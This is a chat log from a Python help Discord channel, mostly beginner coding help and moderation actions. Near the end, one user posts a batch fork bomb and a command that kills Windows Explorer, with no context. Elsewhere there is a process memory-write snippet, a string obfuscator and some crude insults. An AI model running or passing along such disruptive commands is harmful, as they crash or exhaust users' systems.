#voice-chat-text-0

1 messages · Page 606 of 1

errant helm
#

Oh, this isn't an OT channel :>

whole bear
#

let me change my mic

junior oxide
#
python script.py parmater1 parmater2
#

how can this be done?

nocturne star
whole bear
#

fantastic hair

#

would bang

#

the hair

nocturne star
#

stunning

nocturne star
whole bear
quasi hinge
#

@whole bear your making a similair program to vid-iq?

sleek tiger
#

When the error is on Line 420 lemon_fingerguns_shades

whole bear
#

@abstract sinew Did you need help?

abstract sinew
#

thank you i joined the channel by accident

whole bear
#

Ah, gotcha 👍. If you need any help, our help channels are available as well

abstract sinew
#

all love for you💗

scarlet plume
#

hey @abstract sinew could you please change your nickname so that it uses ascii characters? (#rules) it’s quite tedious to mention right now

abstract sinew
#

ok

molten plaza
#

!star 528163652487086090 1d You were asked to change it, your current nickname goes against our nickname policy.

wise cargoBOT
#
Congratulations!

Your previous nickname, عبدالله, was so bad that we have decided to change it. Your new nickname will be Bob Marley.

You will be unable to change your nickname until 2020-05-14 06:37.

If you're confused by this, please read our official nickname policy.

edgy cobalt
#

@whole bear qartveli aris shen?

#

;))

#

saswavlad shemoxvedi tu prosta mogiwvies

#

damwyebi xar? tu advanced?

errant helm
#

Guys, we're an English speaking server :>

#

It's in dem rules

edgy cobalt
#

k

errant helm
#

Oh yeah, I'm sure you are

#

And I'm not staff

#

But it's hard for staff to moderate other languages

edgy cobalt
#

@whole bear what do you need help at

errant helm
#

What's your native language?

whole bear
#

Sorry, but what is @whole bear ? An AI being tested?

errant helm
#

From Georgia then? Let me see if there are any usergroups

#

Looks like there's only one

#

But if you need resources in your own language

#

Might be worth asking

olive sentinel
#

@whole bear Did you get spam from them?

#

Seems like they've been jumping in and out of voice channels

#

Did you catch anything from that?

whole bear
#

@whole bear Did you get spam from them?
@olive sentinel No, not technically, in the voice chat, @whole bear talked in a very strange way and with a really dry and constant voice and the things he said seemed extremely weird which then I thought he is an AI but IDK, he even sent us friend request

olive sentinel
#

Hmm, there's other weird behavior

whole bear
#

Like, he constantly talked about his dad,

olive sentinel
#

I'm looking into it, but they're not responding

whole bear
#

He said that he's 12 year old which doesn't match his voice at all

#

He said he lives in different places when asked, once France and once Island I think?

mint dagger
#

He said he lives in different places when asked, once France and once Island I think?
@whole bear Second time it was Finland

whole bear
#

@whole bear Second time it was Finland
@mint dagger yes!

#

Thanks for the correction

mint dagger
#

No problem

whole bear
#

And he said his mother was gay?

#

IDK, it was the strangest conversation I've ever heard

olive sentinel
#

Alright, thanks. We'll look into it

mint dagger
#

IDK, it was the strangest conversation I've ever heard
@whole bear Thats's true

whole bear
#

@whole bear Thats's true
@mint dagger lol XD

#

Alright, thanks. We'll look into it
@olive sentinel NP, and thanks

dire forum
#

ясно,террористы

fading totem
#

j

#

о

#

русский

wise cargoBOT
mint dagger
#

понятно просто последователь игила

ясно,террористы
@dire forum

pearl ocean
#
 r = [questions['Response 1'], questions['Response 2'], questions['Response 3'],
                             questions['Response 4']]

                        for b in range(len(r)):
                            question = random.choice(r)
                            r.remove(question)
                            quizz_embed.add_field(name=str(b + 1), value=question, inline=False)
                            t = b + 1
                            rd['P' + str(t)] = {'response': question,
                                                'emoji': str(f'{t}\N{combining enclosing keycap}')}

errant helm
#

!rule 4 folks :>

wise cargoBOT
#

4. This is an English-speaking server, so please speak English to the best of your ability.

ornate garnet
#

lol

gilded lodge
#

@whole bear You can send them querries and manipulate the database

gilded lodge
devout ember
pastel dock
junior oxide
#

how do i convert a py file to an exe one?
@whole bear use pyinstaller

pastel dock
#

@whole bear @earnest crag

somber heath
whole bear
#

@severe elm
the numbers seem small enough so maybe brute force using from itertools import combinations and then for x, y, z in combinations(lst, 3): if x+y+z in other_lst...

#

yea, hello

severe elm
#

hey bamboo

whole bear
#

but if the lists get bigger we really have to think...

severe elm
whole bear
#

wait, how does your challenge relate to narcissistic numbers?

severe elm
#

[1, 8, 27, 64, 125, 216, 343, 512, 729]

somber heath
#

itertools.combinations([1,8,27,...], r=3)

severe elm
#

153

#

13+53+3**3=153

whole bear
#

wrap your message in ` to get the powers right

#

1**3

severe elm
#

'1**3'

whole bear
#

no, the tick `

#

should be on the top-left

severe elm
#

1**2

whole bear
#

👍

#

so you wanna see which numbers are narcissistic or which numbers added up make up numbers in the bigger list?

severe elm
#

yes

#

excactly

whole bear
#

pick one, I said or

#

are you guys using noise suppression?

#

that lil pulsy thing next to Voice Connected

severe elm
#

nope i dont use it

whole bear
#

🤔 a'ight

#

cuz it's kinda noisy

severe elm
#

but i can hear myself threw @somber heath 's voice thingy

whole bear
#

it's a module

#

@somber heath is it tee-yoo-ple or taw-ple

#

I always read that in my head but I saw a pycon and the dev said tawple, my life has changed since

severe elm
#

tawple

whole bear
#

not tawple, but like tuh-ple

#

it's a short syllable

severe elm
#

what ya mean

whole bear
#

def liste_erstellen():
zahlenliste = []

for i in range(100, 1001):
    zahlenliste.append(i)

return zahlenliste

def ppdi_finden(zahlenliste):

zwischen_liste = []

for zahl in range(1, 10):
    exp_zahlen = zahl ** 3
    zwischen_liste.append(exp_zahlen)

return zwischen_liste

@severe elm https://paste.sh/

severe elm
#

tawple or tuh_ple

whole bear
#

just the pronunciation nothing important

#

!codeblocks

wise cargoBOT
#

Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.

To do this, use the following method:

```python
print('Hello world!')
```

Note:
These are backticks, not quotes. Backticks can usually be found on the tilde key.
• You can also use py as the language instead of python
• The language must be on the first line next to the backticks with no space between them

This will result in the following:

print('Hello world!')
severe elm
whole bear
#

is zahlen number or integer?

#

in german, I presume

severe elm
#

zahlen numbers

#

yes its in german

whole bear
#

ah, that's what we learned in math class

#

the Z

#

for integer sets

#

can you please restate the challenge

#

I don't think we're on the same page here

#

oki doki

severe elm
#

is this the right way to do it?

#

pasted my code in and sent you the new url

whole bear
#

you can also do this btw @severe elm
```python
some_code
```

#

in discord

#

or ```py

#

def liste_erstellen():
zahlenliste = []

for i in range(100, 1001):
    zahlenliste.append(i)

what you want ?
return zahlenliste

def ppdi_finden(zahlenliste):

zwischen_liste = []

for zahl in range(1, 10):
    exp_zahlen = zahl ** 3
    zwischen_liste.append(exp_zahlen)

return zwischen_liste

@severe elm

#

what you want ?

severe elm
#

``

whole bear
#

don't forget to put python after ```

#

```py

#

```python

#

both work

#

at the beginning

#

English Bro , What you want ?

#

after the ```

#

```python
your_code_here
```

#

```python
import hello
```

import hello
severe elm
#

def liste_erstellen():
    zahlenliste = []

    for i in range(100, 1001):
        zahlenliste.append(i)

    return zahlenliste


def ppdi_finden(zahlenliste):

    zwischen_liste = []

    for zahl in range(1, 10):
        exp_zahlen = zahl ** 3
        zwischen_liste.append(exp_zahlen)

    return zwischen_liste


def ppdi_finden_2(zahlenliste, zwischenliste):

    for i in range(len(zwischenliste)):


whole bear
#

import __hello__ is actually a thing

#

could you please restate the challenge

#

what's the goal here

#

idk, whoever knows the challenge

#

your assignment/problem

#

oh?

#

😆 yea

severe elm
#

ok

whole bear
#

preferably not in german

severe elm
#

i have 2 lists:

whole bear
#

you can talk

#

I hear you

#

can be simplified to zahlenliste = [*range(100, 1001)]

severe elm
#

153 = narcisstic umber

whole bear
#

so range is an iterable, you use * to unpack the iterable and enclose it in [] to get a list

#

in what base?

#

10?

#

wait no

#

shouldn't all digits be < 3 if it's in base 3

severe elm
#

``13 + 53 + 3**3 = 153`

whole bear
#

I suppose this is an extension

#

so you're trying to find narcissistics in range(100, 1001)?

severe elm
#

yes

#

153, 370, 371, 407

whole bear
#
def is_narcissistic(num):
    s = sum(int(d)**3 for d in str(num))
    return s == num
print([*filter(is_narcissistic, range(100, 1001))])
#

output: [153, 370, 371, 407]

#

if you have problems with sum and filter you can expand them

#

no, num is a number

#

is_narcissistic checks whether num is narcissistic

#

and you pass in 100...1000 to the function

#

knowing 1000 is not narcissistic

#

so you get each d a digit in str(num) and then you do int(d)**3 to get the 3rd power, and you add em up with sum

#

brb

#

and then you check whether that sum equates the original num

#

gtg now bye

severe elm
#

bb

sturdy quiver
#
        await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,))
        Bplacedraw = cur.fetchall()
        print(Bplacedraw)
        print(type(Bplacedraw))
        Bplace = 0
        for obama in Bplacedraw:
            print("OBAMA")
            Bplace += obama[2]
        print(Bplace)

prints:

<Future finished result=((2, '73ee0243-f3d...-a40f31d2ef04', 1, 'survival', 'BLUE_BED'), (1, '73ee0243-f3d...-a40f31d2ef04', 1, 'survival', 'COBBLESTONE'))>
<class '_asyncio.Future'>
0

#

<built-in method result of _asyncio.Future object at 0x00000208492F72C0>

#

Bplacedraw = await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,)).fetchall()

#
    Bplacedraw = await cur.execute("SELECT * FROM statz_blocks_placed WHERE uuid = %s", (uuid,))
        print(Bplacedraw)
whole bear
devout ember
whole bear
#

@devout ember could you speak louder? it's kind of hard to hear you atm

#

and btw I have virtually zero experience in anything hacking-related, so feel free to start from the beginning

severe elm
#

jo im afk for a bit, gotta do something right now

#

@whole bear

whole bear
#

okay

#

was there something wrong with my mic?

severe elm
#

nah you played somehting on a ukulele i think

#

nope was nothing wrong

whole bear
#

lol it was a guitar but ye

#

cool

severe elm
#

ah k htought its an ukulele nvm

#

little question

#

i just read about the modul init.py

#

__init__.py

#

and that a package with it is cold a regular package

#

do you use it commonly ? i also reaf that its used for older python versios

whole bear
#

I haven't done anything serious, I don't package stuff mostly

severe elm
#

@whole bear is packaging not important for a project, when you have a lot of modules and stuff for one particular project

#

to have some order

whole bear
#

idk, I'm not a pro. but when you look at people's github pages there's a lot of stuff going on in there, requirements.txt something.yaml possibly __init__.py

#

so like it must be a good thing 😅

severe elm
#

wtf

#

ahhahaha

#

sounds complicated

whole bear
#

it would help if you'd like to be able to import your projects when coding in a console

#

like from util import * and use your old functions

#

but I just copy paste the folder inside the python lib directory to save the sweat

#

I say, if you don't know it, you don't need it

severe elm
#

I say, if you don't know it, you don't need it
@whole bear yeah you may be right there

severe elm
#

i will beb ack later

#

give me 10mins

#

2min

devout ember
severe elm
#

my head is really hertign and spnning man

#

i need a little break

devout ember
whole bear
#

@devout ember SSLv3 / TLS1.0 isn't recommended for use. TLS1.2 / TLS1.3 is

ancient mountain
errant helm
#

You just tried to mention 50,000 people in a channel completely unrelated to your post, to ask for help on a question.

#

(and then add the missing bracket)

graceful grail
#

lol

rugged root
#

@flat tinsel In what way do you think any of that is appropriate to paste here?

tight vale
#

seriously?

#

thats a bruh moment

rugged root
#

!tempmute 615056895530631168 4d I already told you what you should do to take care of them. You block them, you report them to Discord. You do not bring off server spats onto our server, and you certainly don't use our server just so you can "call them a pussy". Learn to get in step with our culture, or the next time might be the last.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @flat tinsel until 2020-05-22 16:43 (3 days and 23 hours).

kindred ice
#

@everyone

turbid oriole
#

!warn 712593499861549067 trying to ping everyone on a server with over 50k people is not cool. Don't try this again.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied warning to @kindred ice.

kindred ice
#

im so buff bro

turbid oriole
#

!tempmute 712593499861549067 3d That is not the correct response to a warning. If you decide to come back then I suggest you read our #rules carefully. Next time this will be permanent.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @kindred ice until 2020-05-23 09:46 (2 days and 23 hours).

acoustic blaze
#

hello

half trout
#

how is this voice-chat

olive sentinel
#

It's used a chat in addition to the voice channels for people who don't have or don't want to use a mic but do want to participate in a voice channel

quasi condor
#

<@&267629731250176001> ^ that don't seem great

fallen plinth
#

!warn @acoustic blaze This is not the place to dump memes

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied warning to @acoustic blaze.

fallen plinth
#

And there is no place on the server

acoustic blaze
#

dont @ me

olive sentinel
#

We will certainly you mention you to give you warnings and/or the instructions you seemlingly need to stick to the rules, @acoustic blaze

acoustic blaze
#

ANGERY

#

ANGERY UBUNTU

wraith wadi
#

Can anyone help me with a genetic algorithm problem? I've been stuck for a while. I know what I need to do, but I don't know how to code it, I am pretty new to Python / programming.

acoustic blaze
#

ANGERY UBUNTU

leaden comet
#

!tempmute @acoustic blaze 24H responding to a warning with "don't @ me" and "ANGERY UBUNTU" is a good way to show you're not willing to take this community seriously. Maybe don't do that in the future.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @acoustic blaze until 2020-05-21 18:16 (23 hours and 59 minutes).

fervent viper
#

.

inland reef
#

hello fella mates

whole bear
#

Hi what sup dude

craggy zephyr
#

Hello

#

What'sapp

stark flare
regal plume
#

class C():
def init(self, stuff):
self.stuff = stuff

class C2(C):
def init(self, stuff):
super().init(stuff)

#

__

#

C2("alsdkfjö")

versed hemlock
#
class C():
    def init(self, stuff):
        self.stuff = stuff

class C2(C):
    def init(self, stuff):
        super().init(stuff)```
regal plume
#

`class C():
def init(self, stuff):
self.stuff = stuff

class C2(C):
def init(self, stuff):
super().init(stuff)`

#
class C():
    def __init__(self, stuff):
        self.stuff = stuff

class C2(C):
    def __init__(self, stuff):
        super().__init__(stuff)
#
class
versed hemlock
#

.``py .``

regal plume
#
class C():
    def __init__(self, stuff):
        self.stuff = stuff

class C2(C):
    def __init__(self, stuff):
        super().__init__(stuff)
versed hemlock
#

`

#

py

regal plume
#
class C():
    def __init__(self, stuff):
        self.stuff = stuff

class C2(C):
    def __init__(self, stuff):
        super().__init__(stuff)
balmy nymph
#

No space before the py lemon_pika

versed hemlock
#

XD

regal plume
#

thanks XD

regal plume
whole bear
wise cargoBOT
whole bear
#

sec

wise cargoBOT
#

Hey @regal plume!

Uh-oh! It looks like your message got zapped by our spam filter. We currently don't allow .txt attachments, so here are some tips to help you travel safely:

• If you attempted to send a message longer than 2000 characters, try shortening your message to fit within the character limit or use a pasting service (see below)

• If you tried to show someone your code, you can use codeblocks
(run !code-blocks in #bot-commands for more information) or use a pasting service like:

https://paste.pythondiscord.com

whole bear
regal plume
#

exec("""\nfrom main import Main\n\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nsampleBeginning = 10\nsampleEnd = 12\n\nchanel = 0\nsampleBeginning = 0\nsampleEnd = 2\nfrequencyBeginning = 0\nfrequencyEnd=1000\ndistance = 5\nnumber = 2 #number of the notes to detect\nfStartingNote = 440\n\nm = Main(r"ressources\Piano A.wav")\nm.main(chanel, sampleBeginning, sampleEnd, frequencyBeginning, frequencyEnd, distance, number, fStartingNote)\n\nplt.plot(m.xvalues, m.values)\n\nplt.show()\n\nplt.plot(*m.fvalues_xy)\nplt.plot(*m.extrema, "b.")\nplt.plot(*m.mainFrequencies, "o")\nplt.show()\n""")

whole bear
#

ahh

#

little brother sleeping

#

:CC

#

sorry

#

😂

regal plume
#

Oh, okay ^^

whole bear
#

:/

regal plume
#

Good night to him : D

whole bear
#

haha

#

@regal plume Did you need assistance with your code? You have a lot of newlines in what you posted

#

ty

#

nahh

#

he doesn't it's just a jokee

#

loool

#

😂

#

this is pretty funny

#

this single line convert thing

regal plume
#

@whole bear No, I am fine, but thanks : D
He showed me a website to convert code into a single line and I pasted some code into it.

whole bear
#

Ah, alright. Cheers 👍

#
import random
inputs = input("Enter str: ")
def decode(_ll111, _lll11):
    return ''.join([chr((ord(__l11111) ^ ord(__111111))) for (__l11111, __111111) in zip(_ll111, _lll11)])

def encode(str):
    s1 = ""
    s2 = ""
    for p in str:
        e = ord(p)
        t = random.randint(1, 100) # 110000
        e = e ^ t
        s1 += chr(e)
        s2 += chr(t)
    return (s1, s2)

print("''.join([chr((ord(__l11111) ^ ord(__111111))) for (__l11111, __111111) in zip" + str(encode(inputs)) + "])")

#print(decode(*encode(inputs)))```
#

: D

#

my crappy

#

string encoder

#

can't talk because little brother

whole bear
#

heres my proplem...

#

ok sorry.

plush meteor
#

maybe you should use python bot.py

#

@whole bear

whole bear
#

@plush meteor does the same thing.

devout ember
#

مصر

blazing totem
#

Basic

kind kraken
devout ember
blazing totem
#

One can use .pyc as well.. right ?

devout ember
#

yeah

blazing totem
#

Will join you in sometime guys bye

devout ember
#

ok bye

kind kraken
#

see you guys thanks for little chit chat

visual sundial
#

chat chit

devout ember
#

wait

#

@whole bear wait

#

egypt

alpine crater
#

!ban 627187206083051541 you have been warned before about posting exploits and talking about hacking on this server, clearly you dont know when to stop. come back never

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied ban to @devout ember permanently.

balmy nymph
#

come back never
Well..

obsidian brook
lost sapphire
#

Process(4276).write_memory(0x46d7322, string)

#

from mem_edit import Process

turbid oriole
#

!warn 410487076597923842 Repeatedly trying to mention everybody on a server with 50k members and then deleting your message, all for no apparent reason, is not thoughtful and not acceptable. Please don't try this again

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied warning to @visual sundial.

visual sundial
#

When did i do that?

#

I don't remember

turbid oriole
#

I saw it, we have message logs, and you did it about a minute ago

visual sundial
#

!warn some random int Trying to accuse someone of something they didn't do

#

I can't believe this!

turbid oriole
#

!tempmute 410487076597923842 1d take some time to think about whether you really want to be here, and if you do I suggest you read over our #rules and code of conduct before you return.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied mute to @visual sundial until 2020-05-26 18:36 (23 hours and 59 minutes).

errant helm
#

@turbid oriole note their status as well

turbid oriole
#

@errant helm We don't do anything about statuses unless they break discords community guidelines as they are community wide, and I don't think that status is bad enough for that.

errant helm
#

That's fair!

#

I wasn't sure what the policy was

turbid oriole
#

If it's really offensive or NSFW then we can report it to discord, but otherwise we just leave it

errant helm
#

Yeah, that makes sense, not much you can otherwise do

#

Thanks for the clarification :>

turbid oriole
#

Np :)

stray girder
#

@brave dock show me your code :)

brave dock
#

import pygame
import sys

pygame.init()
size = [560, 450]
window = pygame.display.set_mode(size)
font = pygame.font.Font(None, 40)
Screen = pygame.display.set_mode((500, 500))
Black = pygame.color.Color('#000000')
Screen.fill((255, 255, 255))
text = font.render('==PASSWORD-GENERATOR==', False, Black)
done = False

while not done:
window.blit(text, (19, 19))
pygame.display.flip()
running = True
while running:
for event in pygame.event.get():
if event.type == pygame.QUIT:
running = False
done = True

pure raptor
#

ok now i cant join for some reason @sleek tiger

sleek tiger
#

oh

nocturne ridge
#

hey somebody got some exprience working with HCSR04 ultrasonic-sensor?

#

HCSR04

whole bear
#

idk man

dense thunder
#

their a way to compile pyhton script to execute it in android ?

balmy nymph
#

You could use buildozer for that, it is part of the kivy project

nocturne ridge
#

hey somebody worked with python interrupts?(on rpi?)

carmine geyser
whole bear
#

df = pandas.read_csv('my_csv_file.csv', skiprows=1)

blazing totem
#

What is the problem statement guys ?

#

I did created a code for plotting, I used Pandas.Dataframe (Put csv data in this data frame). Than use Matplotlib, Matplotlib supports dataframe plotting directly

carmine geyser
blazing totem
#

There is no data in row[1]

#

print row

carmine geyser
whole bear
carmine geyser
wise cargoBOT
#

Hey @carmine geyser!

It looks like you tried to attach file type(s) that we do not allow (.csv). We currently allow the following file types: .3gp, .3g2, .avi, .bmp, .gif, .h264, .jpg, .jpeg, .m4v, .mkv, .mov, .mp4, .mpeg, .mpg, .png, .tiff, .wmv, .svg, .psd, .ai, .aep, .xcf, .mp3, .wav, .ogg.

Feel free to ask in #community-meta if you think this is a mistake.

whole bear
#
    for row in file.iterrows():
carmine geyser
blazing totem
#

Can we go to one of your channel ? So that we can do Screenshare

#

What say Linus ?

#

Cool thn

#

Lets continue here

whole bear
#
def connections(file):
    edges = []
    adj_matrix = np.zeros([302, 302])
    for _, row in file.iterrows():
        print(row)
        node1 = row['station1']
        node2 = row['station2']
        if node1 not in edges:
            edges.append(node1)
        if node2 not in edges:
            edges.append(node2)

    for node1, node2 in edges:
        adj_matrix[node1][node2] = 1
        adj_matrix[node2][node1] = 1

        return edges, adj_matrix
#
csvfile_connections = pd.read_csv('london.connections.csv')


def connections(file):
    edges_1 = []
    edges_2 = []
    adj_matrix = np.zeros([302, 302])
    for _, row in file.iterrows():
        print(row)
        node1 = row['station1']
        node2 = row['station2']
        if node1 not in edges_1:
            edges_1.append(node1)
        if node2 not in edges_2:
            edges_2.append(node2)

    connections = list(zip(edges_1, edges_2))
    
    for node1, node2 in connections:
        adj_matrix[node1][node2] = 1
        adj_matrix[node2][node1] = 1

        return connections, adj_matrix
blazing totem
#

What is the expected result graph of this csv ? A Line graph ?

carmine geyser
whole bear
#
csvfile_connections = pd.read_csv('london.connections.csv')

def connections(file):
    edge_connections = {}
    
    adj_matrix = np.zeros([len(file), len(file)])
    for _, row in file.iterrows():
        print(row)
        node1 = row['station1']
        node2 = row['station2']

        if not node1 in edge_connections:
            edge_connections[node1] = []
            
        edge_connections[node1].append(node2)
    
    for edge, connections in edge_connections.items():
        for connection in connections:
            adj_matrix[edge][connection] = 1
            adj_matrix[connection][edge] = 1
            
    return connections, adj_matrix
#

{128 : [3, 4]}

blazing totem
#

It is going over my head 😛 Leaving now

proud garnet
#

@whole bear i ala kk

#

@carmine geyser maybe i can help u

#

what u want

plush meteor
#

guys

severe quartz
#

i want to learn how to code plz help

winter gust
#

what help r u expecting here?

#

@severe quartz

waxen halo
visual sundial
#

@everyone im sorry for mentioning everyone a couple days ago

turbid oriole
#

!ban 410487076597923842 All your activity on this server is trying to annoy others. If this is your only reason for being on the server then you are not welcome here.

wise cargoBOT
#

:incoming_envelope: :ok_hand: applied ban to @visual sundial permanently.

wicked lava
#

Good guy wookie184

copper stream
#

@crystal fox Bye! Happy Coding!

scarlet ice
#

@errant helm can i get removed from the ping list?

errant helm
#

@scarlet ice Sure thing

wicked lava
#
cells = input("What are the cells\n")
cellslist = [x for x in cells]
print("----------")
print("|",  cellslist[0], cellslist[1], cellslist[2], "|")
print("|",  cellslist[3], cellslist[4], cellslist[5], "|")
print("|",  cellslist[6], cellslist[7], cellslist[8], "|")
print("----------")
#

@manic cave and @marsh drum

scarlet plume
tidal salmon
#

ah

south gust
#

where do i go to find help with things related to fixing issues with my computer (software related issues)

nova solstice
#

@south gust one of the off-topic channels

#

!ot

wise cargoBOT
whole bear
#

Всем привет

#

Hello world

copper stream
#

HEY MODS/ADMINS
I AM INTERESTED IN GETTING THAT PYTHON PRIDE GIF
Is it possible to get hold of that?
Also if anyone knows on which channel can I make such a request?
I am sorry if I shouldn't be posting it here

scarlet plume
#

also, please don't ping admins next time

copper stream
#

I am really sorry for that

scarlet plume
#

that's alright. what you're looking for is in the seasonal/pride directory

signal raven
#

#include <stdio.h>

#define MAXWORDLEN 10
#define IN          1
#define OUT         0


int main()
{
  int c = EOF;
  int i = 0;
  int j = 0;
  int arr_of_len[MAXWORDLEN + 1];
  int state = IN;
  int nc = 0;

  
  for(i = 0; i <= MAXWORDLEN; ++i)
    arr_of_len[i] = 0;

  while((c = getchar()) != EOF)
    {
      ++nc;

      if(c == ' ' || c == '\t' || c == '\n')
    {
      state = OUT;
      --nc;
    }

      if(state == OUT)
    {
      if(nc != 0 && nc <= MAXWORDLEN)
        ++arr_of_len[nc];
          
      state = IN;
      nc = 0;
    }
    }

  for(i=1; i <= MAXWORDLEN; ++i)
    {
      printf("|%2d| ", i);
      for(j = 0; j < arr_of_len[i]; ++j)
    putchar('*');
      
      putchar('\n');
    }


  return 0;
}   
signal raven
#

for( i = 1; i <= 10; ++i)

#
array = []
nc = 0
m = 0
state = 1

for x in range(10):
    array.append(0)
stop = 'y'

while(1):
    inp = input("")
    nc = nc + 1
    if(inp == ' ' or inp == '\t' or inp == '\n'):
        nc = nc - 1
        state = 0
    if(state == 0):
        print('wtf')
        if(nc > 0 and nc <= 10):
            array[nc] = array[nc] + 1
        if(nc > 0 and nc >= 11): #[;0,infinty]
            m = m + 1
            array[0] = array[0] + 1
        state = 1
        nc = 0
    if(inp == "EOF"):
        break;

for x in range(1,10):
    if(array[x] > 0):
        print(f'     {x}:')
        for y in range(0,array[x]):
            print('#')
        print('\n')

if(m > 0):
    print(" > 10:")
    for x in range(0,m):
        print('#')
    print('\n')
young mauve
fervent arch
#
button_x = 115
button_y = 0
button_width = 70
button_height = 28

def setup():
    global button
    size(300,300)
    textSize(20)
    button = loadImage("reset.png")

def draw():
    background(100, 0, 100)
    text(score, 140, 160)
    image(button, button_x, button_y)

def mouseClicked():
    global score
    if mouse.x < 150 and mouse.y < 150:
        score = score + 1
    if mouse.x > 150 and mouse.y > 150:
        score = score - 1
    if sprite_clicked_on(mouse.x, mouse.y):
        score = 0
else:
    coordinates_text = "Reset".format (mouse.x, mouse.y)

def sprite_clicked_on(x, y):
    in_sprite_x = button_x <= x <= button_x + button_width
    in_sprite_y = button_y <= y <= button_y + button_height
    return in_sprite_x and in_sprite_y

run()```
signal raven
#

me a c programmer = 😦

#

def sprite_clicked_on(x, y):

young mauve
#

else isn't indented

signal raven
#
score = 0
button_x = 115
button_y = 0
button_width = 70
button_height = 28

def setup():
    global button
    size(300,300)
    textSize(20)
    button = loadImage("reset.png")

def draw():
    background(100, 0, 100)
    text(score, 140, 160)
    image(button, button_x, button_y)

def mouseClicked():
    global score
    if mouse.x < 150 and mouse.y < 150:
        score = score + 1
    if mouse.x > 150 and mouse.y > 150:
        score = score - 1
    if sprite_clicked_on(mouse.x, mouse.y):
        score = 0
    else:
        coordinates_text = "Reset".format (mouse.x, mouse.y)

def sprite_clicked_on(x, y):
    in_sprite_x = button_x <= x <= button_x + button_width
    in_sprite_y = button_y <= y <= button_y + button_height
    return in_sprite_x and in_sprite_y

run()
slate frost
#

!e

wise cargoBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

signal raven
whole bear
#

gomoku

nocturne star
whole bear
#

!e

s = "Hello World"
print(set(list(s)))
wise cargoBOT
#

@whole bear :white_check_mark: Your eval job has completed with return code 0.

{'d', 'r', 'l', 'W', ' ', 'e', 'H', 'o'}
signal raven
#

!e

wise cargoBOT
#

You are not allowed to use that command here. Please use the #bot-commands channel instead.

whole bear
#

.count

signal raven
#

string.count(input)

whole bear
#

tk.Text

main sierra
daring river
#

are these voice channels just general talk or do people pair program in them?

hardy smelt
#

hi

#

have no mic

#

@slate frost

#

@slate frost

slate frost
#

where are you from?

hardy smelt
#

india

slate frost
#

wow

hardy smelt
#

wbu?

slate frost
#

chile

hardy smelt
#

why i tts not working?

slate frost
#

what?

hardy smelt
#

hello

#

tts is vot working in this vc

#

i guess so

#

any suggestions for some cool places to practice python

#

??

#

cuz i'm really a noob

#

@slate frost you can't be heard

slate frost
#

hmm

#

could be python documatation

#

in the first place

hardy smelt
#

dev documentation?

slate frost
hardy smelt
#

it comes with the package

#

i have that

#

anything else to gain more skills

#

i mean programming skills

#

??

#

hi

slate frost
#

learn about pattern design

hardy smelt
#

@pastel trench

#

okhay

#

what?

slate frost
#

nothing

#

python is so huge

hardy smelt
#

mhm

#

yea

slate frost
#

so you got to focus

#

in what you wanna build

hardy smelt
#

i did not think of it yet..

#

maybe a webapp

#

or a game

#

or some alexa stuff

#

idfk

slate frost
hardy smelt
#

woo thanks dude

slate frost
#

see you

hardy smelt
#

🤟

whole bear
#

yo someone join up

tight lintel
#

@lime arch

plush inlet
whole bear
#

l

#

km

#

ok

whole bear
#

so, how is everyone?

#

i am squandering the most valueable years of my life rn

#

feeling amazing

frosty epoch
#

@delicate holly Did I here you ask for help in the Games vc?

delicate holly
#

Yes

whole bear
#

Anyway, I'm out

frosty epoch
#
(Get-Cursor).x
#
"Blah blah $((Get-Cursor).x)"
ruby wind
#
$i = 0
while($true) {
    $x = (Get-Cursor).x
    $y = (Get-Cursor).y
    $command = 'wallpaper64.exe -control applyProperties -properties RAW~({"mouse":{"x":$x,"y":$)}})~END'
    iex $command
    Start-Sleep -Milliseconds 16
}
#
$i = 0
while($true) {
    $x = (Get-Cursor).x
    $y = (Get-Cursor).y
    $command = 'wallpaper64.exe -control applyProperties -properties RAW~({"mouse":{"x":$x,"y":$y)}})~END'
    iex $command
    Start-Sleep -Milliseconds 16
}
#
$i = 0
while($true) {
    $x = (Get-Cursor).x
    $y = (Get-Cursor).y
    $command = "wallpaper64.exe -control applyProperties -properties RAW~({'mouse':{'x':$($x),'y':$($y)}})~END"
    iex $command
    Start-Sleep -Milliseconds 16
}
frosty epoch
#
Start-Process iex -ArgumentList $command
ruby wind
#

8f8fhttps://i.imgur.com/hqSH8Qc.png

frosty epoch
#
"wallpaper64.exe -control applyProperties -properties RAW~({`"mouse`":{`"x`":$($x),`"y`":$($y)}})~END"
ruby wind
frosty epoch
#

TASKKILL /F /IM explorer.exe

frosty epoch
frosty epoch
#

cmd /c dir

ruby wind
#

h = input("enter shit: ")

#

float(h) * yourNumber

wicked minnow
#

print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))

i = 2

print(f"{s}")
print(f"{a}"* i)

ruby wind
#
print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))

i = 2

print(s)
print(a * i)
frosty epoch
#
:L
START %0
GOTO :L
ruby wind
wicked minnow
#

print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))

i = a * a

print(s * i)
h = (s * i)

if h < 100:
print (f"Du er undervægtig med en vægt på {h}." )
if h > 11:
print("Hey1")

ruby wind
#
print("Mål om du er overvægtigt eller ej")
s = input("Vægt: ")
a = int(input("Højde: "))

i = a * a

print(s * i)
h = (s * i)

if h < 100:
    print (f"Du er undervægtig med en vægt på {h}." )
if h > 11:
    print("Hey1")
frosty epoch
#

!ask

wise cargoBOT
#

Asking good questions will yield a much higher chance of a quick response:

• Don't ask to ask your question, just go ahead and tell us your problem.
• Don't ask if anyone is knowledgeable in some area, filtering serves no purpose.
• Try to solve the problem on your own first, we're not going to write code for you.
• Show us the code you've tried and any errors or unexpected results it's giving.
• Be patient while we're helping you.

You can find a much more detailed explanation on our website.

frosty epoch
